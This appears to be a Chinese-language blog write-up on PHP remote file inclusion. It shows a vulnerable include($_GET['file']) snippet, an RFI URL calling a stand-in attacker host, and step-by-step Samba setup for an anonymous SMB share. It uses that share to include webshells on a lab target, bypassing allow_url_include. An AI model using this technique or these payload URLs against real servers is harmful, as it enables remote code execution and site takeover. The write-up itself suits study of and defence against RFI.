前言
爲什麼有今天這篇文章?原因是我在瀏覽Twitter時,發現關於遠程文件包含RFI的一個奇淫技巧!值得記錄一下,思路也很新奇!因爲它打破我之前以爲RFI已死的觀點:)
正文
RFI引出
我們知道php最危險的漏洞函數類別之一就是文件包含類的函數,諸如include,include_once,require,require_once語句的時候,都會使用$_GET或者是其他未經過濾的變量,這就是一個主要的安全風險。
在PHP應用中,通常會有兩個問題導致RFI漏洞。其中之一就是應用程序邏輯錯誤。這些漏洞產生的原因是本來應該被包含到另一個頁面的文件並沒有被包含,而是包含了其他文件。當這些文件獨立執行時,就沒有配置文件來指定這些變量的默認值,如果web應用配置不正確的話,用戶就可以自己指定文件作爲請求的一部分。
用一個最簡單的例子來演示一下RFI
<?php
$file=$_GET['file'];
include($file);
?>
在上面的代碼中,file參數從get請求中取值,並且是用戶可控的值。file接收到參數值後直接帶入到PHP文件中,沒有經過任何處理。這樣攻擊者就可以發起相應的請求,從而讓應用程序執行惡意腳本。例如,一個webshell如下:
http://example.com/?file=http://hacker.com/shell.php
通過這樣操作,我們就可以遠程包含一個shell,造成了RCE,但是這樣操作有一個前提,要在php.ini中設置如下:
- allow_url_fopen=on
- allow_url_include=on
正常情況下,當這兩個設置爲off時,這個漏洞是不存在的!
另闢蹊徑
PHP和SMB共享文件訪問
在PHP配置文件中,“allow_url_include”包裝器默認設置爲“關閉”,指示PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設置爲“Off”,PHP也不會阻止SMB URL加載。
攻擊場景
當易受攻擊的PHP應用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。
首先我重新配置PHP環境並在php.ini文件中禁用“allow_url_fopen”以及“allow_url_include”。後來配置的SMB服務器具有匿名讀訪問權限。SMB共享準備就緒後,利用易受攻擊的應用程序
PHP環境設置
首先我們要把被攻擊主機的php.ini的“allow_url_fopen”和“allow_url_include”設置爲“Off”
執行phpinfo查看配置是否成功
在繼續之前,讓我們確保當我們嘗試訪問受我們控制主機的Web shell時,PHP代碼不允許遠程文件包含
當我試圖從遠程主機包含PHP Web shell時,應用程序拋出錯誤並且沒有發生RFI!
使用匿名讀取訪問權限配置SAMBA服務器(Linux)
使用下面的命令安裝SAMBA服務器:
apt-get install samba
創建SMB共享目錄:
mkdir /var/www/html/pub/
配置新創建的SMB共享目錄的權限:
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
運行以下提到的命令以刪除SAMBA服務器配置文件的默認內容
echo > /etc/samba/smb.conf
將下面的內容放在’/etc/samba/smb.conf’文件中
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重新啓動SAMBA服務器以應用配置文件/etc/samba/smb.conf中的新配置
service smbd restart
成功重新啓動SAMBA服務器後,嘗試訪問SMB共享並確保SAMBA服務器不要求憑據。
在我的例子中,SAMBA服務器IP是192.168.23.129,我需要訪問Windows文件瀏覽器中的SMB共享,如下:
\\192.168.23.129\
在SMB服務器中共享PHP Web shell
在目錄’/ var / www / html / pub’中共享PHP shell,這是SMB共享指令’ethan’的目錄。
這裏放了兩個shell,一個一句話ant.php用來測試蟻劍連接,一個大馬poc.php
接下我們開始攻擊,首先包含poc.php執行我們的大馬!
http://127.0.0.1:8888/rfi.php?file=\\192.168.23.129\ethan\poc.php
嘗試蟻劍連接一句話!
Then, we get it!
後記
有時候我們會侷限在傳統安全思維的禁錮,導致我們的視線範圍縮小了許多,因此,打破固有思維,才能發現意想不到的漏洞!